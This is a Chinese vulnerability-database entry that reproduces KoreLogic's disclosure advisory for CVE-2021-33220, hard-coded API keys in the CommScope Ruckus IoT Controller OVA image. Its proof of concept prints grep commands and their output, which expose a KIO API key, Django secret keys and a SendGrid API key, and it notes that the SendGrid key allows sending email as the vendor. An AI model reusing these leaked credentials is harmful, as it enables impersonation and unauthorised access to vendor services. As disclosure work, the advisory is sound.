CommScope Ruckus IoT Controller 信任管理问题漏洞
漏洞ID | 2458155 | 漏洞类型 | 信任管理问题 |
发布时间 | 2021-05-27 | 更新时间 | 2021-07-08 |
CVE编号 | CVE-2021-33220 | CNNVD-ID | CNNVD-202105-1784 |
漏洞平台 | N/A | CVSS评分 | N/A |
|漏洞来源
|漏洞详情
Commscope CommScope Ruckus IoT Controller是美国康普(Commscope)公司的一款物联网控制器。与SmartZone控制器集成的虚拟控制器,可为非Wi-Fi设备执行连接,设备和安全管理功能。 CommScope Ruckus IoT Controller 1.7.1.0 版本及之前版本中存在信任管理问题漏洞,该漏洞源于OVA 映像中存在API密钥,并且会暴漏给挂载文件系统的用户。攻击者可通过该漏洞给获得敏感信息。
|漏洞EXP
KL-001-2021-002: CommScope Ruckus IoT Controller Hard-coded API Keys Exposed
Title: CommScope Ruckus IoT Controller Hard-coded API Keys Exposed
Advisory ID: KL-001-2021-002
Publication Date: 2021.05.26
Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2021-002.txt
1. Vulnerability Details
Affected Vendor: CommScope
Affected Product: Ruckus IoT Controller
Affected Version: 1.7.1.0 and earlier
Platform: Linux
CWE Classification: CWE-798: Use of Hard-coded Credentials
CVE ID: CVE-2021-33220
2. Vulnerability Description
API keys for CommScope Ruckus are included in the IoT
Controller OVA image, and are exposed to attackers who mount
the filesystem.
3. Technical Description
Ruckus vRIoT server software is available from the software
library at: https://support.ruckuswireless.com/software/
Once the OVA is imported into VirtualBox, a VMDK file is
created. The VMDK file can be mounted and the directory
structure and its contents can be perused. The virtual appliance
contains clear text API keys that are hard-coded into the
web application code. The API keys can be abused to gain
information about deployed assets and send email via SendGrid
as Commscope/Ruckus. While the AWS SECRET_KEY is exposed,
an ACCESS_KEY is not.
4. Mitigation and Remediation Recommendation
The vendor has released an updated firmware (1.8.0.0) which
remediates the described vulnerability. Firmware and release
notes are available at:
https://www.commscope.com/globalassets/digizuite/917216-faq-security-advisory-id-20210525-v1-0.pdf
5. Credit
This vulnerability was discovered by Jim Becher (@jimbecher)
of KoreLogic, Inc.
6. Disclosure Timeline
2021.03.30 - KoreLogic submits vulnerability details to
CommScope.
2021.03.30 - CommScope acknowledges receipt and the intention
to investigate.
2021.04.06 - CommScope notifies KoreLogic that this issue,
along with several others reported by KoreLogic,
will require more than the standard 45 business
day remediation timeline.
2021.04.06 - KoreLogic agrees to extend disclosure embargo if
necessary.
2021.04.30 - CommScope informs KoreLogic that remediation for
this vulnerability will be available inside of the
standard 45 business day timeline. Requests
KoreLogic acquire CVE number for this
vulnerability.
2021.05.14 - 30 business days have elapsed since the
vulnerability was reported to CommScope.
2021.05.17 - CommScope notifies KoreLogic that the patched
version of the firmware will be available the week
of 2021.05.24.
2021.05.19 - KoreLogic requests CVE from MITRE.
2021.05.19 - MITRE issues CVE-2021-33220.
2021.05.25 - CommScope releases firmware 1.8.0.0 and associated
advisory.
2021.05.26 - KoreLogic public disclosure.
7. Proof of Concept
With the VMDK file mounted at the current working directory:
root@vriot:/# grep -R 'KIO_API_KEY' /VRIOT/ 2>/dev/null
./VRIOT/backend/settings/defaults.py:KIO_API_KEY = os.environ.get("KIO_API_KEY", "wxtPbzgNNWFlfBqhDfEDoZkQUxtnhWTq")
$ egrep -r 'SECRET_KEY|ACCESS_KEY' ./VRIOT/*
./VRIOT/authServer/app/baseapp/settings.py:SECRET_KEY = 'db$04-yk#-3&=54s78d-tvu!+e3#621kj9s!3g$x3t^@m1m6#i'
./VRIOT/backend/settings/settings.py:SECRET_KEY = '%u9-#a6eo0!ukif-+kcg3=gc-zlh8o3@)rz@!-74(g*xa0c#bb'
Binary file ./VRIOT/backend/lora/lorawan1.6.0.0.tar matches
Binary file ./VRIOT/ops/scripts/image_push.pyc matches
./VRIOT/ops/sqlite_modules/aws4/README.md:// or it can get credentials from process.env.AWS_ACCESS_KEY_ID, etc
./VRIOT/ops/sqlite_modules/aws4/README.md:export AWS_ACCESS_KEY_ID="<your-access-key-id>"
./VRIOT/ops/sqlite_modules/aws4/README.md:export AWS_SECRET_ACCESS_KEY="<your-secret-access-key>"
./VRIOT/ops/sqlite_modules/aws4/README.md:(will also use `AWS_ACCESS_KEY` and `AWS_SECRET_KEY` if available)
./VRIOT/ops/sqlite_modules/aws4/aws4.js: accessKeyId: env.AWS_ACCESS_KEY_ID || env.AWS_ACCESS_KEY,
./VRIOT/ops/sqlite_modules/aws4/aws4.js: secretAccessKey: env.AWS_SECRET_ACCESS_KEY || env.AWS_SECRET_KEY,
$ more ./VRIOT/authServer# more app/baseapp/settings.py
...
# Email server settings.
EMAIL_HOST = 'smtp.sendgrid.net'
EMAIL_HOST_USER = 'apikey'
EMAIL_HOST_PASSWORD = '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'
EMAIL_PORT = 587
EMAIL_USE_TLS = True
...
Per https://sendgrid.com/docs/API_Reference/SMTP_API/integrating_with_the_smtp_api.html,
the SendGrid password identified above is actually an API key, which can be
used with the 'apikey' user to send email through the SendGrid platform as
Commscope Ruckus.
The contents of this advisory are copyright(c) 2021
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/
KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html
Our public vulnerability disclosure policy is available at:
https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.3.txt
|参考资料
来源:packetstormsecurity.com
链接:https://packetstormsecurity.com/files/162843/CommScope-Ruckus-IoT-Controller-1.7.1.0-Hard-Coded-API-Keys-Exposed.html
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